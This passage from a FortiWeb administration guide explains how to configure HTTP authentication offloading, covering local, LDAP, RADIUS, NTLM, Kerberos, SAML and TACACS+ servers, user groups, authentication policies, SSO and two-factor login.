appliance replies with an HTTP 401 Authorization Required response. The response includes a WWW-
Authenticate: field in the HTTP header that indicates which style of authentication to use (basic, digest, or
NTLM) and the name of the realm (usually the name, such as “Restricted Area”, of a set of URLs that can be
accessed using the same set of credentials).
2. The browser then prompts its user to enter a user name and password. (The prompt may include the name of the
realm, in order to indicate to the user which login is valid.) The browser includes the user-entered info in the
Authorization: field of the HTTP header when repeating its request.
Valid user name formats vary by the authentication server. For example:

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l For a local user, enter a user name in the format username.

l For LDAP authentication, enter a user name in the format required by the directory’s schema, which varies but
could be a user name in the format username or an email address such as [email protected].
l For NTLM authentication, enter a user name in the format DOMAIN/username.
3. The FortiWeb appliance compares the supplied credentials to:
l the locally defined set of user accounts
l a set of user objects in a Lightweight Directory Access Protocol (LDAP) directory
l a set of user objects on a Remote Authentication and Dial-in User Service (RADIUS) server
l a set of user accounts on an NT LAN Manager (NTLM) server
4. If the client authenticates successfully, the FortiWeb appliance forwards the original request to the server.
If the client does not authenticate successfully, the FortiWeb appliance repeats its HTTP 401 Authorization
Required response to the client, asking again for valid credentials.
5. Once the client has authenticated with the FortiWeb appliance, if FortiWeb applies no other restrictions and the
URL is found, it returns the web server’s reply to the client.
If the client’s browser is configured to do so, it can cache the realm along with the supplied credentials, automatically re-
supplying the user name and password for each request with a matching realm. This provides convenience to the user;
otherwise, the user would have to re-enter a user name and password for every request.
Advise users to clear their cache and close their browser after an authenticated
session. HTTP itself is stateless, and there is no way to actively log out. HTTP
authentication causes cached credentials, which persist until the cache is cleared
either manually, by the user, or automatically, when closing the browser window or
tab. Failure to clear the cache could allow unauthorized persons with access to the
user’s computer to access the website using their credentials.
Clear text HTTP authentication is not secure. All user names and data (and,
depending on the authentication style, passwords) are sent in clear text. If you
require encryption and other security features in addition to authorization, use HTTP
authentication with SSL/TLS (i.e. HTTPS) and disable HTTP. For details see HTTP
Service on page 246 and HTTPS Service on page 247.
See also
l Configuring local end-user accounts on page 342

l Configuring queries for remote end-user accounts on page 343
l Applying user groups to an authorization realm on page 355
l Grouping authorization rules on page 357
l Single sign-on (SSO) (site publishing) on page 359
Configuring local end-user accounts
FortiWeb can use local end-user accounts to authenticate and authorize HTTP requests to protected websites. For
details, see Offloading HTTP authentication & authorization on page 340.

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To configure a local user
1. Go to User > Local User.
Name Enter a name that can be referenced in other parts of the configuration, such
as Jane Doe.
Do not use special characters. The maximum length is 63 characters.
Note: This is not the user name that the person must provide when logging in
to the CLI or web UI.
User Name Enter the user name that the client must provide when logging in, such as
user1.
Password Enter a password for the user account.

Tip: For improved security, the password should be at least eight characters
long, be sufficiently complex, and be changed regularly.
4. Click OK.
5. To activate the user account, you must indirectly include it in a server policy that governs connections to your web
servers. Continue with Grouping users on page 354. For an overview, see To configure and activate end-user
accounts on page 341.
See also
l Grouping users on page 354

l Configuring an LDAP server on page 343
l Configuring a RADIUS server on page 347
l Configuring an NTLM server on page 349
Configuring queries for remote end-user accounts
FortiWeb supports multiple query types that you can use to authenticate users with accounts stored on remote servers,
rather than with accounts on the FortiWeb itself.
Configuring an LDAP server
FortiWeb can use LDAP queries to authenticate and authorize end-users’ HTTP requests to protected websites. For
details, see Offloading HTTP authentication & authorization on page 340. FortiWeb can also use LDAP queries to
authenticate administrators’ access to the web UI or CLI. For details, see Grouping remote authentication queries and
certificates for administrators on page 333.

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If you use an LDAP query for administrators, separate it from the queries for regular
users. Do not combine administrator and user queries into a single entry.
Failure to separate queries will allow end-users to have administrative access the
FortiWeb web UI and CLI. If administrators are in the same directory but belong to a
different group than end-users, you can use Group Authentication on page 345 to
exclude end-users from the administrator LDAP query.
Supported servers may implement the underlying technology and group membership in different ways, such as with
OpenLDAP, Microsoft Active Directory, IBM Lotus Domino, and Novell eDirectory. Match the distinguished names (DN)
and group membership attributes (Group Type on page 346) with your LDAP directory’s schema.
If this query will be used to authenticate administrators, and your LDAP server is slow to answer, you may need to adjust
the authentication timeout setting to prevent the query from failing. See the FortiWeb CLI Reference:
For end-user queries, configure Connection Timeout on page 358 instead.
To configure an LDAP server
1. Go to User > Remote Server and select the LDAP Server tab.

A dialog appears.
Server IP/Domain Name Enter the IP address or domain name of the LDAP server.
Server Port Type the port number where the LDAP server listens.
The default port number varies by your selection in Secure Connection on
page 346: port 389 is typically used for non-secure connections or for
STARTTLS-secured connections, and port 636 is typically used for SSL-
secured (LDAPS) connections.
Common Name Identifier Enter the identifier for the common name (CN) attribute (also called the CNID)
whose value is the user name.
Identifiers vary by your LDAP directory’s schema. This is often cn or uid. For
Active Directory, it is often the attribute sAMAccountName.
For example, in a default OpenLDAP directory, if a user object is:
uid=hlee,cn=users,dc=example,dc=com
then the CNID is uid.
For an additional example for Active Directory, see Example for a
configuration for AD on page 347.
Distinguished Name Specifies the Base DN from which the LDAP query starts. This DN is the full
path in the directory to the user account objects.
For example:

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ou=People,dc=example,dc=com
or
cn=users,dc=example,dc=com
Bind Type Select one of the following LDAP query binding styles:
l Simple—Bind using the client-supplied password and a bind DN
assembled from the Common Name Identifier on page 344,
Distinguished Name on page 344, and the client-supplied user name.
l Regular—Bind using a bind DN and password that you configure in User
DN on page 345 and Password on page 345. This also allows for group
authentication.
l Anonymous—Do not provide a bind DN or password. Instead, perform
the query without authenticating. Select this option only if the LDAP
directory supports anonymous queries.
User DN Enter the bind DN of an LDAP user account with permissions to query the
Distinguished Name on page 344.
For example:
cn=FortiWebA,dc=example,dc=com
For Active Directory, the UPN (User Principle Name) is often used instead of a
bind DN (for example, [email protected])
This field can be optional if your LDAP server does not require the FortiWeb
appliance to authenticate when performing queries.
This field is not displayed if Bind Type on page 345 is Anonymous or
Simple.
Password Enter the password of the User DN on page 345.
This field may be optional if your LDAP server does not require the FortiWeb
appliance to authenticate when performing queries, and does not appear if
Bind Type on page 345 is Anonymous or Simple.
Filter Enter an LDAP query filter string that filters the query’s results based on any
attribute in the record set.
For example:
(&(|(objectClass=user)(objectClass=group)
(objectClass=publicFolder)))
This filter improves the speed and efficiency of the queries.
For syntax, see an LDAP query filter reference. If you do not want to exclude
any accounts from the query, leave this setting blank.
This option appears when Bind Type on page 345is Regular.
Group Authentication Enable to filter the query results, only allowing users to authenticate if they are
members of the LDAP group that you define in Group DN on page 346. Users
that are not members of that group will not be allowed to authenticate. Also
configure Group Type on page 346 and Group DN on page 346.
This option appears only when Bind Type on page 345is Regular.

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Group Type Indicate the schema of your LDAP directory, either:

l OpenLDAP—The directory uses a schema where each user object’s
group membership is recorded in an attribute named gidNumber. This
is usually an OpenLDAP directory, or another directory where the object
class inetOrgPerson or posixAccount.
l Windows-AD—The directory uses a schema where each user object’s
group membership is recorded in an attribute named memberOf. This is
usually a Microsoft Active Directory server.
l eDirectory—The directory uses a schema where each user object’s
group membership is recorded in an attribute named
groupMembership. This is usually a Novell eDirectory server.
Group membership attributes may have different names depending on an
LDAP directory schemas. The FortiWeb appliance will use the group
membership attribute that matches your directory’s schema when querying
the group DN.
This option appears only when Bind Type on page 345is Regular and Group
Authentication is enabled.
Group DN Enter the value of the group membership attribute that query results must
have in order to be able to authenticate.
The value may vary by your directory’s schema, but may be the distinguished
name such as ou=Groups,dc=example,dc=com or a group ID (GID)
such as 100.
This option appears only when Bind Type on page 345is Regular and Group
Authentication on page 345 is enabled. The maximum length is 256
characters.
Secure Connection Enable to connect to the LDAP servers using an encrypted connection, then
select the style of the encryption in Protocol on page 346.
Protocol Select which secure LDAP protocol to use, either

l LDAPS
l STARTTLS
The option appears only when Secure Connection is enabled.
4. Click OK.
5. If you enabled Secure Connection on page 346, upload the certificate of the CA that signed the directory server’s
certificate. For details, see Uploading trusted CA certificates on page 393.
6. Return to User > Remote Server, select the LDAP User tab, double-click the row of the query, then click the
Test LDAP button to verify that FortiWeb can connect to the server, that the query is correctly configured, and that
(if binding is enabled) the query bind is successful.
In username, type only the value of the CNID attribute, such as hlee, not the entire DN of the administrator’s
account. In password, type the password for the account.
7. If the query is for administrator accounts that you want to allow to access the FortiWeb web UI, select the query in a
remote authentication query group. For details, see Grouping remote authentication queries and certificates for
If the query is for user accounts that you want to allow to authenticate with web servers, to activate the user
account, you must indirectly include it in a server policy. Continue with Grouping users on page 354. For details,
see To configure and activate end-user accounts on page 341.
If the query is for a site publishing rule that offloads authentication for a web application to FortiWeb, you first add it
to an authorization server pool. For details, see Adding servers to an authentication server pool on page 353.

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See also

l Configuring a Terminal Access Controller Access Control System (TACACS)+ server on page 352
Example for a configuration for AD
The following sample values are part of an LDAP query for a Microsoft Active Directory (AD) domain server.
Setting Value Notes
Common Name Identifier sAMAccountName In most cases, you use the Common Name
Identifier sAMAccountName as the container. In
some cases, userPrincipalName is used,
especially if there is a domain forest.
Distinguished Name OU=CONTAINER, Specifies the Base DN from which the LDAP query
(Base DN) DC=DOMAIN,DC=SUFFIX starts.
Filter (&(objectCategory=person) If Common Name Identifier is

(objectClass=user) userPrincipalName, change
(sAMAccountName=*)) sAMAccountName to userPrincipalName.
User DN [email protected] This example uses the UPN (User Principle Name)
instead of a bind DN.
Configuring a RADIUS server
FortiWeb can use RADIUS queries to authenticate and authorize end-users’ HTTP requests. For details, see Offloading
HTTP authentication & authorization on page 340. FortiWeb can also use RADIUS queries to authenticate
administrators’ access to the web UI or CLI. For details, see Grouping remote authentication queries and certificates for
If you use a RADIUS query for administrators, separate it from the queries for
regular users. Do not combine administrator and user queries into a single
entry. Failure to separate queries will allow end-users to have administrative access
the FortiWeb web UI and CLI.
Remote Authentication and Dial-in User Service (RADIUS) servers provide authentication, authorization, and
accounting functions. The FortiWeb authentication feature uses RADIUS user queries to authenticate and authorize
HTTP requests. (The HTTP protocol does not support active logouts, and can only passively log out users when their
connection times out. Therefore FortiWeb does not fully support RADIUS accounting.) RADIUS authentication with
realms (i.e. the person logs in with an account such as [email protected]) are supported.
To authenticate a user or administrator, the FortiWeb appliance sends the user’s credentials to RADIUS for
authentication. If the RADIUS server replies to the query with a signal of successful authentication, the client is
successfully authenticated with the FortiWeb appliance. If RADIUS authentication fails or the query returns a negative
result, the appliance refuses the connection.

Users 348
If this query will be used to authenticate administrators, and your RADIUS server is slow to answer, you may need to
adjust the authentication timeout setting to prevent the query from failing. See the FortiWeb CLI Reference:
For end-user queries, configure Connection Timeout on page 358 instead.
To configure a RADIUS server
1. Go to User > Remote Server and select the RADIUS Server tab.

A dialog appears.
Server IP Enter the IP address of the primary RADIUS server.
Server Port Enter the port number where the RADIUS server listens.
The default port number is 1812.
Server Secret Enter the RADIUS server secret key for the primary RADIUS server. The
primary server secret key should be a maximum of 16 characters in length.
Secondary Server IP Enter the IP address of the secondary RADIUS server, if applicable.
Secondary Server Port Enter the port number where the RADIUS server listens.
The default port number is 1812.
Secondary Server Secret Enter the RADIUS server secret key for the secondary RADIUS server. The
secondary server secret key should be a maximum of 16 characters in length.
Authentication Scheme Select either:

l Default to authenticate with the default method. The default
authentication scheme uses PAP, MS-CHAP-V2, and CHAP, in that
order.
l MS-CHAP-V2, CHAP, MS-CHAP, or PAP, depending on what your
RADIUS server requires.
NAS IP Enter the NAS IP address and Called Station ID (for more information about
RADIUS Attribute 31, see RFC 2548 (http://www.ietf.org/rfc/rfc2548.txt)
Microsoft Vendor-specific RADIUS Attributes). If you do not enter an IP
address, the IP address that the FortiWeb appliance uses to communicate
with the RADIUS server will be applied.
4. Click OK.
5. Return to User > Remote Server, select the RADIUS Server tab, double-click the row of the query, then click
the Test RADIUS button to verify that FortiWeb can connect to the server, and that the query is correctly
configured.

Users 349
6. If the query is for administrator accounts that you want to allow to access the FortiWeb web UI, select the query in
a remote authentication query group. For details, see Grouping remote authentication queries and certificates for
For access profiles, FortiWeb appliances support RFC 2548

(http://www.ietf.org/rfc/rfc2548.txt) Microsoft Vendor-specific RADIUS Attributes. If
you do not want to use them, you can configure them locally instead. For details,
see Configuring access profiles on page 331.
If the query is for user accounts that you want to allow to authenticate with web servers, to activate the user account,
you must indirectly include it in a server policy. Continue with Grouping users on page 354. For an overview, see To
configure and activate end-user accounts on page 341.
If the query is for a site publishing rule that offloads authentication for a web application to FortiWeb, you first add it to
an authorization server pool. For details, see Adding servers to an authentication server pool on page 353.
See also
Configuring an NTLM server
NT LAN Manager (NTLM) queries can be made to a Microsoft Windows or Active Directory server that is configured for
NTLM authentication. FortiWeb supports both NTLM v1 and NTLM v2.
FortiWeb can use NTLM queries to authenticate and authorize HTTP requests. For details, see Applying user groups to
an authorization realm on page 355.
To configure an NTLM server
1. Go to User > Remote Server and select the NTLM Server tab.

3. In Name, type a unique name that can be referenced by other parts of the configuration. This is the name of the
query only, not the end-user’s account name/login. The maximum length is 63 characters.
4. For Server IP, type the IP address of the NTLM server to query.
5. For Port, type the TCP port number where the NTLM server listens for queries.
6. Click OK.
7. To activate the user account, you must indirectly include it in a server policy that governs connections to your web
servers. Continue with Grouping users on page 354. For an overview, see To configure and activate end-user
accounts on page 341.

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Configuring a Kerberos Key Distribution Center (KDC) server
You can specify a Kerberos Key Distribution Center (KDC) that FortiWeb can use to obtain a Kerberos service ticket for
web applications on behalf of clients.
Because FortiWeb determines the KDC to use based on the realm of the web application, you do not have to specify the
KDC in the site publish rule.
For details, see Using Kerberos authentication delegation on page 361 and Offloaded authentication and optional SSO
To configure a KDC server
1. Go to User > Remote Server and select the KDC Server tab.

To access this part of the web UI, your administrator's account access profile must have Read and
Writepermission to items in the Auth Users category. For details, see Permissions on page 56.
2. Click Create New and complete the following settings:
Name Enter a name that can be referenced by other parts of the configuration. The
Delegated Realm Enter the domain of the domain controller (DC) that the Key Distribution
Center (KDC) belongs to. Typically the UPN (User Principle Name) used for
login has the format username@delegated_realm.
Shortname Enter the shortname for the realm you specified (This is optional). A
shortname is an alias of the delegated realm; it can be any set of characters
except for symbols "@", "/" and "\". For example, the shortname can include
the domain name of the realm that is not fully qualified. With a shortname
being configured, the format of UPN can be username@shortname.
3. Click OK.
4. Click Create New to add multiple servers for the realm.
Server IPv4/IPv6 Enter the IP address of the KDC.

In most cases, the KDC is located on the same server as the DC.
Server Port Enter the port the KDC uses to listen for requests.
6. Click OK.
Configuring a Security Assertion Markup Language (SAML) server
You can use a SAML server in a site publish rule to handle client authentication for web browser single sign-on (SSO).
SAML is an open standard for exchanging authentication and authorization data between parties, and is often used for
exchanging such data between an identity provider and a service provider.
To configure a SAML server
1. Go to User > Remote Server and select the SAML Server tab.


Users 351
Name Enter a name that can be referenced by other parts of the configuration. The maximum
Entity Enter the URL for the SAML server. The communications protocol must be HTTPS.
ID
Service Enter a path for the SAML server at the URL you specified in Entity ID on page 351.
Path
Assertion Consumer Service
Bindin Select the binding that the server will use to transport the SAML authentication request to
g Type the IDP.
Path Enter a partial URL that the IDP will use to confirm with the service provider that a user
has been authenticated.
Single Logout Service
Bindin Select the binding that the server will use when the service provider initiates a single
g Type logout request:
l POST—SAML protocol messages are transported via the user's browser in an XHTML
document using base64-encoding.
l REDIRECT—SAML protocol messages will be carried in the URL of an HTTP GET
request. Because the length of URLs is limited, this option is best for shorter
messages.
Path Enter a partial URL that the IDP will use to confirm with the service provider that a user
has been logged out.
Identity Provider Metadata
Metada Click Choose File to upload an IDP (Identity Provider) metadata file for the SAML server.
ta If the file is valid, the Entity ID on page 352 below will populate.
The metadata file is provided by the Identity Provider such as AD FS, TestShib and
OneLogin. It defines the EntityID, Endpoints (Single Sign On Service Endpoint, Single
Logout Service Endpoint), etc. FortiWeb parses the information in the metadata file and
redirects the user's authentication request to the identity provider accordingly. After the
user's identity is authenticated, the identity provider responds to FortiWeb with a SAML
authentication assertion.
Note: When you configure SAML Single Sign-on with the Identify Provider, make sure the
user information (UPN or Email) is mapped to EPPN (urn:oid:1.3.6.1.4.1.5923.1.1.1.6),
because FortiWeb uses the value of the EPPN attribute to identify users uniquely.
The following is an example of the OneLogin SAML Test Connector configurations:

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Entity The Entity ID will populate if the IDP metadata file for the SAML server that you uploaded
ID in Metadata on page 351 is valid.
3. Click OK.
Configuring a Terminal Access Controller Access Control System (TACACS)+ server
TACACS+ authentication is now supported for FortiWeb admin users. FortiWeb can also use TACACS+ queries to
authenticate administrators’ access to the web UI or CLI. For details, see Grouping remote authentication queries and
certificates for administrators on page 333.
To authenticate an administrator, the FortiWeb appliance sends the administrator’s credentials to TACACS+ server for
authentication. If the TACACS+ server replies to the query with a signal of successful authentication, the client is
successfully authenticated with the FortiWeb appliance. If TACACS+ authentication fails or the query returns a negative
result, the appliance refuses the connection.
When authenticating administrators, and your TACACS+ server is slow to answer, you may need to adjust the
authentication timeout setting to prevent the query from failing. See the FortiWeb CLI Reference:
To configure a TACACS+ server
1. Go to User > Remote Server and select the TACACS+ Server tab.

A dialog appears.
Server IP/Name Enter the IP address or domain name of the TACACS+ server.
Server Secret Enter the TACACS+ server secret key for the TACACS+ server.

Users 353
Authentication Type Select Auto to automatically assign an authentication type or select

Specify to specify a type.
Type Select one authentication type of the TACACS+ server.
l MSCHAP: this type only includes a START message and a
REPLY message. The START message must include the
username and data information, of which the username is stored
in the user field, while the data in the data field; the data
information must include session_id, MS-challenge, and MS-
authentication.
l CHAP: this type only includes a START message and a REPLY
message. The START message must include the username and
data information, of which the username is stored in the user
field, while the data in the data field; the data information must
include session_id, challenge, and authentication.
l PAP: this type only includes a START message and a REPLY
message. The START message must include the username and
password information, of which the username is stored in the user
field, while the password in the data field; no encryption is
required for the message.
l ASCII: this type includes the START message, REPLY message,
and CONTINUE message; both the START message and the
CONTINUE message can carry the username information.
Available only if Specify in Authentication Type is selected.
4. Click OK.
5. Return to User > Remote Server, select the TACACS+ Server tab, double-click the row of the query, then click
the Test TACACS+ button to verify that FortiWeb can connect to the server, and that the query is correctly
configured.
6. To allow administrator accounts to access the FortiWeb web UI, select the query in a remote authentication query
group. For details, see Grouping remote authentication queries and certificates for administrators on page 333.
See also
Adding servers to an authentication server pool
When you configure a site publishing rule that offloads authentication for a web application to FortiWeb, you use an
authentication server pool to specify the method and server that FortiWeb uses to authenticate clients.
The pool can contain one or more servers that use either LDAP or RADIUS to authenticate clients. You add LDAP or
RADIUS servers to an authentication server pool using the queries that correspond to the servers. For details, see
Configuring an LDAP server on page 343 and Configuring a RADIUS server on page 347).
FortiWeb attempts to authenticate clients using the server at the top of the list of pool members, and then continues to
the next member down in the list if the authentication is unsuccessful, and so on. You can use the list options to adjust
the position of each item in the list.

Users 354
To configure an authentication server pool
1. Go to Application Delivery > Site Publish > Authentication Server Pool.

2. Click Create New, enter a name for the pool, and then click OK.
Authentication Validation Select whether this pool member uses LDAP or RADIUS to authenticate
Method clients.
LDAP Server Select the name of the authentication query that FortiWeb uses to pass
or credentials to your authentication server.
RADIUS Server
RSA SecurID Select to enable client authentication using a username and a RSA SecurID
authentication code only. Users are not required to enter a password.
When this option is enabled, the authentication delegation options in the site
publish rule are not available.
For details, see RSA SecurID authentication on page 360.
Alternatively, you can use the default two-factor authentication feature to
require users to enter a username, password, and a RSA SecurID
authentication code.
For details, see Two-factor authentication on page 360.
4. Click OK.
5. Add any other additional servers you want in the pool.
6. To use the pool, select it when you configure a site publish rule. For details, see Offloaded authentication and
optional SSO configuration on page 365
Grouping users
To denote which set of people is authorized to request specific URLs when configuring HTTP authentication offloading,
you must create user groups.
A user group can include a mixture of local end-user accounts, LDAP queries, RADIUS queries, and NTLM queries.
Therefore, on FortiWeb, a user group could be set of accounts, or it could be a set of queries instead.
To configure a user group
1. Before you can configure a user group, you must first configure one or more local end-user accounts or queries to
remote authentication servers. See these sections:
l Configuring a Security Assertion Markup Language (SAML) server on page 350
2. Go to User > User Group > User Group.

Users 355

4. In Name, type a name that can be referenced by other parts of the configuration. Do not use special characters.
5. In Auth Type, select one of the following authentication types:
l Basic—Clear text. This is the original and most compatible authentication scheme for HTTP. However, it is
also the least secure as it sends the user name and password unencrypted to the server.
l Digest—Encrypts the password and thus is more secure than the basic authentication.
l NTLM—Uses a proprietary protocol of Microsoft and is considered to be more secure than basic
authentication.
6. Click OK.
8. In User Type, select the type of user or user query you want to add to the group. Available options vary with the
setting for the group’s Auth Type option.
You can mix user types in the group. However, if the authentication rule’s Auth Type does not support a given user
type, all user accounts of that type will be ignored, effectively disabling them.
9. From User Name, select the name of an existing user account, LDAP query, or RADIUS query. Available options
vary by your selection in User Type.
10. Click OK.
11. Repeat the previous steps for each user or query that you want to add to the group.
12. Select the user group in an authorization rule. For details, see Applying user groups to an authorization realm on
page 355.
See also

Applying user groups to an authorization realm
Authentication rules are used by the HTTP authentication policy to define sets of request URLs that will be authorized
for each end-user group.
Alternatively, you can configure site publishing, which has the additional advantage
of optionally providing SSO for multiple web applications. See Single sign-on (SSO)
(site publishing) on page 359.
To configure an authentication rule
1. Before you can configure an authentication rule set, you must first configure any user groups that you want to
include. For details, see Grouping users on page 354.
If you want to apply rules only to HTTP requests for a specific real or virtual host, you must first define the web host
in a protected host names group. For details, see Defining your protected/allowed HTTP “Host:” header names on

Users 356
page 160.
2. Go to Application Delivery > Authentication and select the Authentication Rule tab.
characters.
5. If you want to require that the Host: field of the HTTP request matches a protected host entry in order to match
the HTTP authentication rule, do the following:
l Enable Host Status.
l From Host, select which protected host entry (either a web host name or IP address) the Host: field of the
HTTP request must be. The list contains hosts configured in a protected host names group. For details, see
Defining your protected/allowed HTTP “Host:” header names on page 160.
6. Click OK.
Auth Type Select which type of HTTP authentication to use:

l Basic—Clear text, Base64-encoded user name and password. Supports
all user queries except NTLM. NTLM users will be ignored if included in
the user group.
l Digest—Hashed user name, realm, and password. Only local users are
supported. Other types are ignored if included in the user group.
l NTLM—Encrypted user name and password. Only NTLM queries are
supported. Other types are ignored if included in the user group.
For details about available user types, see Grouping users on page 354.
User Group Select the name of an existing end-user group that is authorized to use the
URL in Auth Path on page 357.
User Realm Type the realm, such as Restricted Area, to which the Auth Path on
page 357 belongs.
The realm is often used by browsers:
l It may appear in the browser’s prompt for the user’s credentials.
Especially if a user has multiple logins, and only one login is valid for that
specific realm, displaying the realm helps to indicate which user name
and password should be supplied.
l After authenticating once, the browser may cache the authentication
credentials for the duration of the browser session. If the user requests
another URL from the same realm, the browser often will automatically
re-supply the cached user name and password, rather than asking the
user to enter them again for each request.
The realm may be the same for multiple authentication rules, if all of those
URLs permit the same user group to authenticate.

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For example, the user group All_Employees could have access to the Auth
Path on page 357 URLs /wiki/Main and /wiki/ToDo. These URLs both
belong to the realm named Intranet Wiki. Because they use the same
realm name, users authenticating to reach /wiki/Main usually will not have
to authenticate again to reach /wiki/ToDo, as long as both requests are
within the same browser session.
This field does not appear if Auth Type on page 356 is NTLM, which does not
support HTTP-style realms.
Auth Path Type the literal URL, such as /employees/holidays.html, that a

request must match in order to invoke HTTP authentication.
9. Click OK.
10. Repeat the previous steps for each user that you want to add to the authentication rules.
11. Group the authentication rule in an authentication policy. For details, see Grouping authorization rules on page
357.
Grouping authorization rules
Often, you may want to specify multiple authorization realms to apply to a single server policy. Before you can use
authorization rules in a protection profile, you must group them together. (These sets are called “authentication policies”
in the web UI).
Authentication policies also contain settings such as connection and cache timeouts that FortiWeb applies to all
requests authenticated using this authentication policy.
Alternatively or in addition to HTTP authentication, with SSL connections, you can

require that clients present a valid personal certificate. For details, see Configuring
an HTTP server policy on page 242.
To configure an authentication policy
1. Before you can configure an authentication policy, you must first configure:
l End-users (see Configuring local end-user accounts on page 342, Configuring an LDAP server on page 343, or
Configuring an NTLM server on page 349)
l User groups (see Grouping users on page 354)
l One or more authorization rules to select the authorization mechanism, select the user group, and the set of
URLs that is the authorization realm (see Applying user groups to an authorization realm on page 355)
2. Go to Application Delivery > Authentication and select the Authentication Policy tab.

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Connection Timeout Type the connection timeout for the query to the FortiWeb’s query to the
remote authentication server in milliseconds.
The default is 2,000 (2 seconds). If the authentication server does not answer
queries quickly enough, to prevent dropped connections, increase this value.
Cache Enable if you want to cache authentication query results.

Tip: This can improve performance, especially if the connection to the remote
authentication server is slow or experiences latency.
Alert Type Select whether to log authentication failures and/or successes:

l None—Do not generate an alert email and/or log message.
l Failed Only—Alert email and/or log messages are caused only by HTTP
authentication failures.
l Successful Only—Alert email and/or log messages are caused only by
successful HTTP authentication.
l All—Alert email and/or log messages are caused for all HTTP
authentication attempts, regardless of success or failure.
Event log messages contain the user name, authentication type, success or
failure, and source address (for example, User jdoe HTTP BASIC
login successful from 172.20.120.46) when an end-user
successfully authenticates. A similar message is recorded if the authentication
fails (for example, User hackers HTTP BASIC login failed from
172.20.120.227).
5. If you enabled Cache on page 358, also configure the following:
Cache Timeout Type the number of seconds that authentication query results will be cached.
When a record’s timeout is reached, FortiWeb will remove it from the cache.
Subsequent requests from the client will cause FortiWeb to query the
authentication server again, adding the query results to the cache again.
This setting is applicable only if Cache on page 358 is enabled. The default
value is 300.
6. Click OK.
8. From the Auth Rule drop-down list, select the name of an authentication rule.
9. Click OK.
10. Repeat the previous steps for each individual rule that you want to add to the authentication policy.
11. To apply the authentication policy, select it in an inline protection profile that is included in a policy. For details, see
Configuring a protection profile for inline topologies on page 223.
If you have enabled logging, you can also make reports such as “Top Failed
Authentication Events By Day” and “Top Authentication Events By User” to identify
hijacked accounts or slow brute force attacks. For details, see Reports on page 732.
See also
l Applying user groups to an authorization realm on page 355

l Single sign-on (SSO) (site publishing) on page 359

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Single sign-on (SSO) (site publishing)
You can configure single sign-on (SSO) and combination access control and authentication (called “site publishing” in
the web UI) instead of configuring simple HTTP authentication rules if:
l Your users will be accessing multiple web applications on your domain.
l You have defined accounts centrally on an LDAP server (such as Microsoft Active Directory) or a RADIUS server.
Unlike HTTP authentication rules, SSO does not require your users to authenticate each time they access separate web
applications in your domain.
For example, if you configure HTML form authentication, when FortiWeb receives the first request, it returns an HTML
authentication form.
FortiWeb’s HTTP authentication form
FortiWeb forwards the client’s credentials in a query to the authentication server. Once the client is successfully
authenticated, if you have configured FortiWeb to delegate, FortiWeb forwards the credentials to the web application.
The server’s response is returned to the client. Until the session expires, subsequent requests from the client to the
same or other web applications in the same domain do not require the client to authenticate again.
You can use the SSO feature to replace your discontinued Microsoft Threat Management Gateway. With SSO enabled,
you can use FortiWeb as a portal for multiple applications such as SharePoint, Outlook Web Application, Lync, and/or
IIS. Users log in once to use any or all of those resources.
When you configure SSO, FortiWeb uses the authentication method for the first site publish rule that matches.
Therefore, you cannot specify different authentication methods for individual web applications in the same SSO
domain.
For example, you can create a site publish rule that allows users to access Outlook Web App (OWA) via HTML Form
Authentication and a rule that allows them to access Exchange via HTTP Basic Authentication. However, to ensure
FortiWeb controls access to each application with the correct authentication method, do not enable SSO for the rules.

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If you do not want to apply SSO, but still want to publish multiple sites through the
same server policy, apply the same steps, except do not enable SSO.
See also
l Two-factor authentication on page 360

l RSA SecurID authentication on page 360
l Using Kerberos authentication delegation on page 361
l Offloaded authentication and optional SSO configuration on page 365
Two-factor authentication
By default, FortiWeb supports RADIUS authentication that requires users to provide a secondary password, PIN, or
token code in addition to a username and password (two-factor authentication).
When the RADIUS server does not require two-factor authentication, form-based authentication via a RADIUS query is
complete after the user enters a valid username and password.
If the RADIUS server requires two-factor authentication, after users enter a valid username and password, RADIUS
returns an Access-Challenge response. FortiWeb displays a second authentication form that allows users to enter a
token code (e.g., an RSA SecurID token code).
Authentication form for two-factor authentication
Alternatively, FortiWeb allows users to authenticate without using the second form by entering both their password and
token code in the password field of the initial form. The RADIUS server extracts the token code automatically. The
combined entry uses the following format:
<password><token_code>
For example, if the password is fortinet and the code is 123456, the user enters fortinet123456 in the
Password field.
Note: When users enter the password and token code together, any delegation configuration in the site publish rule
does not work. Delegation requires a password, and the AD server cannot obtain the password from the combined
value.
See also

RSA SecurID authentication
FortiWeb’s default two-factor authentication feature supports RADIUS authentication using RSA SecurID. For details,
see Two-factor authentication on page 360.

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Alternatively, you can enable the RSA SecurID option in the site publish rule, which allows users to authenticate using
their username and RSA SecurID token code. Instead of the regular authentication form, FortiWeb displays a form that
captures these two values only. For details, see Adding servers to an authentication server pool on page 353.
RSA SecurID authentication without a password
When you enable RSA SecurID, the authentication delegation options in the site publish rule are not available. These
options depend on a password, which FortiWeb’s RSA SecurID form does not capture.
See also

Changing user passwords at login
By default, FortiWeb’s HTTP authentication form provides users with the option to change their password after a
successful login. When it is enabled, FortiWeb displays a password change form after the user authenticates
successfully.
This feature requires the following configuration:
l The authentication server is Microsoft Active Directory (AD) and provides LDAP over SSL (LDAPS) service.
l In the LDAP query configuration, Bind Type is Regular. You do not need to enable Secure Connection to
support the password change at login feature. For details, see Configuring an LDAP server on page 343.
l For the site publish rule configuration, Authentication Validation Method is LDAP. For details, see Offloaded
authentication and optional SSO configuration on page 365.
Using Kerberos authentication delegation
You can configure FortiWeb to use the Kerberos protocol for authentication delegation. Kerberos authentication uses
tickets that are encrypted and decrypted by secret keys and do not contain user passwords. FortiWeb uses Kerberos to
give clients it has already authenticated access to web applications, not for the initial authentication.
Types of Kerberos authentication delegation
FortiWeb’s site publish feature supports two different types of Kerberos authentication delegation. The type you use
depends on the client authentication method that you specify:
l Regular Kerberos delegation—Users enter a user name and password in an HTML authentication form (the
HTML Form Authentication or HTTP Basic Authentication site publish rule options). FortiWeb then obtains a
Kerberos service ticket on behalf of the client to allow it to access the specified web application.
l Kerberos constrained delegation—FortiWeb verifies a user’s SSL certificate using the certificate authority
specified in a server policy or server pool member configuration (Client Certificate Authentication). FortiWeb
then obtains a Kerberos service ticket on behalf of the client to allow it to access the specified web application.
This authentication delegation configuration requires you to create an Active Directory user for FortiWeb that can

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act on behalf of the web application. For details, see To create an Active Directory (AD) user for FortiWeb on page
373.
If you enable Kerberos authentication for a service, you must specify a delegated HTTP Service Principal Name (SPN) in
a site publish rule; if your configuration includes a service running on a server pool, you must create an SPN pool with
multiple SPNs for each server that hosts the service. To specify an SPN or configure an SPN pool, see Configuring
